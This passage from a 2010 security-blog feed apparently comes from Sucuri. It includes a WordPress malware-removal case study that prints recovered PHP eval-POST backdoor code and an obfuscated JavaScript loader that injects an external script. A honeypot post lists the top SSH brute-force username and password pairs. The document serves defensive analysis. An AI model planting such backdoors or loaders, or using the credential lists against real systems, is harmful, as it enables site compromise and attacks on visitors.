wp-db-backup/wp-db-backup.php, image.php and gifimg.php had possibly something hidden. To analyze the code, we did the same thing we did with Javascript. We modified the "eval" function for "echo" to see what it was doing. On the wp-db-backup.php we removed the encoded string and decoded it externally using the base64 command line tool:&lt;blockquote style="font-size:12px"&gt;$ php multi-level-navigation-plugin1/images/image.php&lt;br /&gt;if(isset($_POST['e']))eval(base64_decode($_POST['e']));echo '32303d2e34332e3230382e3231323a64696865746172693a62746c646f7a6572';&lt;br /&gt;$ php multi-level-navigation-plugin1/images/gifimg.php &lt;br /&gt;if(isset($_POST['e']))eval(base64_decode($_POST['e']));&lt;/blockquote&gt;Analysis for the wp-db-backup.php:&lt;blockquote style="font-size:12px"&gt;&lt;br /&gt;echo 'PHNjcmlwdCB..pOwogLS0+PC9zY3JpcHQ' | base64 -d&lt;br /&gt;&amp;lt; script language=javascript&gt;&amp;gt;!-- &lt;br /&gt;(function(){var OgDs='%';var FJQr=('v_61r_20_61r_2eu_j_3b_22)_3b_64_6fc_75ment_2e_77_72ite(_22_3cscr_69pt_20src_3d_2f_2f_6da_72_74_75_22+_22_7a_2ec_6e_2f_76_69d_2f_3fid_3d_22_2bj+_22_3e_3c_5c_2fscript_3e_22)_3b_7d').replace(/_/g,OgDs);var NF1=unescape(FJQr);eval(NF1)})();&lt;/blockquote&gt;So, all of them had a backdoor to allow the attacker to execute any PHP script (and command) they wanted on the box (see eval(POST)) and the wp-db-backup.php had this script to create the malicious javascript on all the pages.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Lessons learned&lt;/span&gt;? First, always monitor your systems. If they had a HIDS installed (like the open source &lt;a href="http://www.ossec.net"&gt;OSSEC&lt;/a&gt;) it would had detected the modification on those files. Second, if they had used our &lt;a href="http://sucuri.net"&gt;Web-based Integrity monitor&lt;/a&gt; this problem would be detected way earlier too. Third: Keep your log files stored longer. Our analysis was not as completed, because we couldn't go back in time to see when it happened. &lt;span style="font-weight:bold;"&gt;Lastly, keep your Wordpress updated and use strong passwords! That's your first line of defense to avoid these problems.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-7166602154274672265?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gpKQ3I6xNGeQwA_4d6iWKvR-25s/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gpKQ3I6xNGeQwA_4d6iWKvR-25s/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gpKQ3I6xNGeQwA_4d6iWKvR-25s/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gpKQ3I6xNGeQwA_4d6iWKvR-25s/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/dRDnjLXcOVg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/7166602154274672265/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/02/removing-malware-from-wordpress-blog.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7166602154274672265?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7166602154274672265?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/dRDnjLXcOVg/removing-malware-from-wordpress-blog.html" title="Removing malware from a Wordpress blog - Case study" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_w4XYN7NmRts/S3V9j0FsU_I/AAAAAAAAAAk/DSnAJSEMI50/s72-c/reported-attack-site1.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/02/removing-malware-from-wordpress-blog.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYHSX89fyp7ImA9WxBWEU8.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-7299031817394697166</id><published>2010-02-02T06:46:00.005-05:00</published><updated>2010-02-02T09:15:38.167-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-02T09:15:38.167-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><title>Amazon.com blacklisted by SpamHaus XBL</title><content type="html">&lt;span style="font-weight:bold;"&gt;Update: Spamhaus contact us to let us know that they removed amazon from the blacklist and are investigating the issue. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.spamhaus.org/xbl/"&gt;SPAMHAUS&lt;/a&gt; has various blacklists and one of them is the XBL:&lt;blockquote&gt;"The Spamhaus Exploits Block List (XBL) is a realtime database of IP addresses of hijacked PCs infected by illegal 3rd party exploits, including open proxies (HTTP, socks, AnalogX, wingate, etc), worms/viruses with built-in spam engines, and other types of trojan-horse exploits."&lt;/blockquote&gt;Well, this morning I got this notification from &lt;a href="http://sucuri.net"&gt;Sucuri Internet Monitor&lt;/a&gt;:&lt;blockquote&gt;&lt;br /&gt;29c29,30&lt;br /&gt;&amp;lt;    OK: Host www.amazon.com clean.&lt;br /&gt;---&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&amp;gt;    WARN: http://www.spamhaus.org/query/bl?ip=72.21.207.65&lt;/span&gt;&lt;br /&gt;&amp;gt;    WARN: Host www.amazon.com blacklisted.&lt;/blockquote&gt;First I thought that something was wrong, but then I double checked:&lt;br /&gt;&lt;blockquote&gt;$ host www.amazon.com&lt;br /&gt;www.amazon.com has address 72.21.207.65&lt;br /&gt;&lt;/blockquote&gt;And if I visit I see that it is still blacklisted: &lt;a href="http://www.spamhaus.org/query/bl?ip=72.21.207.65"&gt;http://www.spamhaus.org/query/bl?ip=72.21.207.65&lt;/a&gt;&lt;br /&gt;I assume it is a false positive... Anyone know more information?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-7299031817394697166?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EJbhCamtjOClXZmfTvqrD8lFGms/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EJbhCamtjOClXZmfTvqrD8lFGms/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EJbhCamtjOClXZmfTvqrD8lFGms/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EJbhCamtjOClXZmfTvqrD8lFGms/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/To-fvYsOS50" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/7299031817394697166/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/02/amazoncom-blacklisted-by-spamhaus-xbl.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7299031817394697166?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7299031817394697166?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/To-fvYsOS50/amazoncom-blacklisted-by-spamhaus-xbl.html" title="Amazon.com blacklisted by SpamHaus XBL" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/02/amazoncom-blacklisted-by-spamhaus-xbl.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MAQ30zfSp7ImA9WxBXF0o.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-7491488219746459576</id><published>2010-01-29T09:28:00.002-05:00</published><updated>2010-01-29T09:30:42.385-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-29T09:30:42.385-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="scan" /><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Fingerprinting web applications</title><content type="html">This paper describes a technique to remotely detect the version (fingerprint) of a web application. We cover Wordpress, Mediawiki and Joomla in the article, but it can be easily extended to other applications.&lt;br /&gt;&lt;br /&gt;At the end, we also give you a live tool to fingerprint any site to see if we can give the right version.&lt;br /&gt;&lt;br /&gt;Link:&lt;br /&gt;&lt;a href="http://sucuri.net/?page=docs&amp;title=fingerprinting-web-apps"&gt;http://sucuri.net/?page=docs&amp;title=fingerprinting-web-apps&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-7491488219746459576?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/OMqv06b4Cj5lagLs3vHqvY8iWR8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/OMqv06b4Cj5lagLs3vHqvY8iWR8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/OMqv06b4Cj5lagLs3vHqvY8iWR8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/OMqv06b4Cj5lagLs3vHqvY8iWR8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/aq9mrUda96o" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/7491488219746459576/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/01/fingerprinting-web-applications.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7491488219746459576?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/7491488219746459576?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/aq9mrUda96o/fingerprinting-web-applications.html" title="Fingerprinting web applications" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/01/fingerprinting-web-applications.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4FSX84eip7ImA9WxBXFkU.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-4160594278854452009</id><published>2010-01-28T09:01:00.002-05:00</published><updated>2010-01-28T09:11:58.132-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-28T09:11:58.132-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Quick Sucuri Update</title><content type="html">We are very happy to announce that we reached 5 thousand (yes, 5k) sites being &lt;a href="http://sucuri.net"&gt;monitored&lt;/a&gt; by our Network Integrity Monitor solution. &lt;br /&gt;&lt;br /&gt;To celebrate, we are releasing an update to our dashboard and a new &lt;span style="font-weight:bold;"&gt;Premium&lt;/span&gt; offering with advanced features.&lt;br /&gt;&lt;br /&gt;That's what you get with the Premium: &lt;span style="font-style:italic;"&gt;(only $9.99 per month)&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Support for password protected pages (using Basic, ntml or custom POST authentication)&lt;/li&gt;. &lt;br /&gt;&lt;li&gt;Support for private RSS feeds&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Granular alerting configuration (per host)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Option to alert only if a malware (or major site error) is detected&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Priority support&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Hands-on assistance removing malware when needed&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Upgrade to Premium by visiting: &lt;a href="http://sucuri.net/?page=docs&amp;title=premium"&gt;http://sucuri.net/?page=docs&amp;title=premium&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Any questions? Let us know in the comments or via email!&lt;br /&gt;&lt;br /&gt;Don't forget to follow us on Twitter: &lt;a href="http://twitter.com/sucuri_security"&gt;http://twitter.com/sucuri_security&lt;/a&gt; .&lt;br /&gt;&lt;br /&gt;Thanks again!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-4160594278854452009?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/sw6cb-jO1XVVfNNLdw4fb832EMM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sw6cb-jO1XVVfNNLdw4fb832EMM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/sw6cb-jO1XVVfNNLdw4fb832EMM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sw6cb-jO1XVVfNNLdw4fb832EMM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/QK8u_lEmCFI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/4160594278854452009/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/01/quick-sucuri-update.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/4160594278854452009?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/4160594278854452009?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/QK8u_lEmCFI/quick-sucuri-update.html" title="Quick Sucuri Update" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/01/quick-sucuri-update.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04ASHc5cSp7ImA9WxBXFk0.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-417191827999285901</id><published>2010-01-27T11:23:00.003-05:00</published><updated>2010-01-27T11:32:29.929-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-27T11:32:29.929-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sbn" /><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>New Security Bloggers Network (SBN) member</title><content type="html">We are very happy to be the newest member of the &lt;a href="http://www.securitybloggers.net/"&gt;Security Bloggers Network (SBN)&lt;/a&gt;. Thanks to &lt;a href="http://www.ashimmy.com/"&gt;Alan Shimel&lt;/a&gt; for setting this up very quickly and welcoming us.&lt;br /&gt;&lt;br /&gt;You can expect lots of updates from our &lt;a href="http://blog.sucuri.net/2010/01/honeypot-analysis-looking-at-ssh-scans.html"&gt;Honeypot analysis&lt;/a&gt;, as well as news of what is happening over at &lt;a href="http:/sucuri.net"&gt;http://sucuri.net&lt;/a&gt; and the new research we are doing.&lt;br /&gt;&lt;br /&gt;If you are interested in what we do, check out our &lt;a href="http://sucuri.net/?page=nbi"&gt;Network Integrity Monitoring&lt;/a&gt; solution:&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Be notified when the integrity of your Internet presence is changed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;* DNS and Whois Hijacking monitoring&lt;br /&gt;* Web site defacement, malware and blacklist detection&lt;br /&gt;* Receive alerts showing WHAT changed, not only that it happened&lt;br /&gt;* Be the FIRST to know if something is ever altered or unavailable!&lt;br /&gt;* Try now, it is free and easy to get started.&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-417191827999285901?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/mIWvXQV7Qj6Rk9Kfq0wQ13qgvWI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mIWvXQV7Qj6Rk9Kfq0wQ13qgvWI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/mIWvXQV7Qj6Rk9Kfq0wQ13qgvWI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mIWvXQV7Qj6Rk9Kfq0wQ13qgvWI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/ds0HFvEkmHc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/417191827999285901/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/01/new-security-bloggers-network-sbn.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/417191827999285901?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/417191827999285901?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/ds0HFvEkmHc/new-security-bloggers-network-sbn.html" title="New Security Bloggers Network (SBN) member" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/01/new-security-bloggers-network-sbn.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcEQHs6fSp7ImA9WxBXFU4.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-2353524493265197220</id><published>2010-01-26T13:11:00.004-05:00</published><updated>2010-01-26T13:20:01.515-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-26T13:20:01.515-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Downforeveryoneorjustme is down</title><content type="html">The service &lt;a href="http://www.downforeveryoneorjustme.com/"&gt;http://www.downforeveryoneorjustme.com/&lt;/a&gt; has been down for at least a few hours already. I got the first notification via &lt;a href="http://sucuri.net"&gt;sucuri.net&lt;/a&gt; a few hours ago saying that the page has been changed:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Content changed:&lt;br /&gt;&amp;gt; Index of /&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt;    * cgi-bin/&lt;br /&gt;&amp;gt;&lt;br /&gt;&amp;gt; Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.7a mod_auth_passthrough/2.1 &lt;br /&gt;&amp;gt; mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.11 Server at downforeveryoneorjustme.com Port 80&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;After that, another alert saying that the page was offline and that their name server was not responding:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Site offline: http://www.downforeveryoneorjustme.com&lt;br /&gt;downforeveryoneorjustme.com: no DNS servers could be reached&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;What I found weird was the page change before the DNS issues... It shows again how useful our &lt;a href="http://sucuri.net"&gt;Network Integrity Monitor&lt;/a&gt; solution can be to look at these issues.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-2353524493265197220?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/BqpKgWmGodjXSESSuqwqpIo5Gbc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BqpKgWmGodjXSESSuqwqpIo5Gbc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/BqpKgWmGodjXSESSuqwqpIo5Gbc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BqpKgWmGodjXSESSuqwqpIo5Gbc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/Pa7ch9s79vU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/2353524493265197220/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/01/downforeveryoneorjustme-is-down.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/2353524493265197220?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/2353524493265197220?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/Pa7ch9s79vU/downforeveryoneorjustme-is-down.html" title="Downforeveryoneorjustme is down" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/01/downforeveryoneorjustme-is-down.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcDRHczeyp7ImA9WxBQFEQ.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-6091294027564396365</id><published>2010-01-14T11:14:00.008-05:00</published><updated>2010-01-14T13:34:35.983-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-14T13:34:35.983-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="honeypot" /><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Honeypot analysis - Looking at SSH scans</title><content type="html">An integral part of the &lt;a href="http://sucuri.net"&gt;Sucuri&lt;/a&gt; project is to research and monitor current attacks as a way to improve our defense techniques. To achieve that, we have been running a few Honeypots for almost a year and collecting data from the attacks used and learning from them.&lt;br /&gt;&lt;br /&gt;After a year, I think we are ready to start sharing the information we have learned...&lt;br /&gt;&lt;br /&gt;The first step was to create a &lt;a href="http://sucuri.net/?page=tools&amp;title=blacklist"&gt;page with information&lt;/a&gt; about the systems involved on web attacks. We also have two blacklists updated daily, the first one is composed of the domains that are hosting the malware/php/perl scripts, while the second blacklist is composed of the IP addresses that are actively scanning our honeypots. You can check them out, plus the tools used at &lt;a href="http://sucuri.net/?page=tools&amp;title=blacklist"&gt;Blacklist and Research based on web attacks&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Now, the second step is to write about the attacks we are seeing to help educate others... &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Looking at SSH scans&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;All our honeypots have a modified SSH server running where we collect every connection attempt, user name and password used and everything typed if the attacker gets access via SSH. During the course of 1 year, we recorded more than 1,600 different SSH scans to our systems. The data bellow is only for the last few months and the first number you see is in how many different scans it was logged.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TOP 50 user/password combination&lt;/b&gt;&lt;blockquote&gt;&lt;span style="font-weight:bold;"&gt;# USER, PASS&lt;/span&gt;&lt;br /&gt;  16  oracle, oracle&lt;br /&gt;  13  root, root&lt;br /&gt;  12  root, abc123&lt;br /&gt;  12  root, 123456&lt;br /&gt;  11  tester, test&lt;br /&gt;  10  uploader, uploader&lt;br /&gt;  10  test123, spam&lt;br /&gt;  10  qwerty, testuser&lt;br /&gt;  10  qazwsxedc, tester&lt;br /&gt;  10  password, test1&lt;br /&gt;  10  password, john&lt;br /&gt;  10  password, cstrike&lt;br /&gt;  10  123456, testuser&lt;br /&gt;  10  123456, test2&lt;br /&gt;  10  123456, raqbackup&lt;br /&gt;  10  123456, gamer&lt;br /&gt;  10  123456, cvsadm&lt;br /&gt;  10  123456, calendar&lt;br /&gt;  10  123456, bill&lt;br /&gt;   9  root, 123qwe&lt;br /&gt;   9  mike, mike&lt;br /&gt;   9  agata, agata&lt;br /&gt;   8  test, test123&lt;br /&gt;   8  root, qwerty&lt;br /&gt;   8  marketing, marketing&lt;br /&gt;   8  johan, johan&lt;br /&gt;   8  joan, joan&lt;br /&gt;   8  ftp, ftp123&lt;br /&gt;   8  ftp, ftp&lt;br /&gt;   8  carla, carla&lt;br /&gt;   8  bruno, bruno&lt;br /&gt;   8  admin, admin&lt;br /&gt;   8  123, user&lt;br /&gt;   7  test, test&lt;br /&gt;   7  tech, tech&lt;br /&gt;   7  root, password&lt;br /&gt;   7  ronaldo, ronaldo&lt;br /&gt;   7  raimundo, raimundo&lt;br /&gt;   7  nick, nick&lt;br /&gt;   7  max, max&lt;br /&gt;   7  library, library&lt;br /&gt;   7  jeff, jeff&lt;br /&gt;   7  internet, internet&lt;br /&gt;   7  hans, hans&lt;br /&gt;   7  grace, grace&lt;br /&gt;   7  ftp, ftpuser&lt;br /&gt;   7  frank, frank&lt;br /&gt;   7  francisco, francisco&lt;br /&gt;   7  francis, francis&lt;br /&gt;&lt;/blockquote&gt;It is interesting to note that in the first column, we have the user name and we see many entries for 123456 with the password of testuser or bill. My guess? Someone messed up the password lists and inverted the order... Anyone have ideas?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Top 50 User names used&lt;/b&gt;&lt;blockquote&gt;&lt;span style="font-weight:bold;"&gt;# USER&lt;/span&gt;&lt;br /&gt; 241  root&lt;br /&gt; 221  password&lt;br /&gt; 100  admin&lt;br /&gt;  87  test&lt;br /&gt;  87  qwerty&lt;br /&gt;  72  www&lt;br /&gt;  68  123&lt;br /&gt;  67  000000&lt;br /&gt;  66  111111&lt;br /&gt;  65  1234567&lt;br /&gt;  63  asdfgh&lt;br /&gt;  59  testing&lt;br /&gt;  59  test123&lt;br /&gt;  58  abc123&lt;br /&gt;  53  pass123&lt;br /&gt;  52  qazwsx&lt;br /&gt;  50  tester&lt;br /&gt;  48  server&lt;br /&gt;  47  abcdef&lt;br /&gt;  46  testing123&lt;br /&gt;  46  testing1&lt;br /&gt;  46  qazwsxedc&lt;br /&gt;  45  zxcvbnm&lt;br /&gt;  45  zxcvbn&lt;br /&gt;  45  testtest&lt;br /&gt;  40  oracle&lt;br /&gt;  39  ftp&lt;br /&gt;  33  test1&lt;br /&gt;  32  passwd&lt;br /&gt;  31  tester123&lt;br /&gt;  31  tester1&lt;br /&gt;  31  pass&lt;br /&gt;  30  pgsql&lt;br /&gt;  29  operator&lt;br /&gt;  28  dan&lt;br /&gt;  27  administrator&lt;br /&gt;  26  master&lt;br /&gt;  26  bin&lt;br /&gt;  25  oper&lt;br /&gt;  24  nobody&lt;br /&gt;  22  backup&lt;br /&gt;  21  postgres&lt;br /&gt;  21  mail&lt;br /&gt;  21  daemon&lt;br /&gt;  21  87654321&lt;br /&gt;  21  654321&lt;br /&gt;  20  office&lt;br /&gt;  19  test2&lt;br /&gt;  18  ts&lt;br /&gt;  17  mike&lt;br /&gt;  17  guest&lt;br /&gt;  16  monica&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;TOP 50 Passwords used&lt;/b&gt;&lt;blockquote&gt;&lt;span style="font-weight:bold;"&gt;# PASS&lt;/span&gt;&lt;br /&gt;1427  root&lt;br /&gt; 346  test&lt;br /&gt; 305  123456&lt;br /&gt; 264  testuser&lt;br /&gt; 259  tester&lt;br /&gt; 242  test123&lt;br /&gt; 241  testing&lt;br /&gt; 240  test1&lt;br /&gt; 236  test2&lt;br /&gt; 230  test4&lt;br /&gt; 230  test3&lt;br /&gt; 113  12345&lt;br /&gt; 106  admin&lt;br /&gt;  75  user&lt;br /&gt;  69  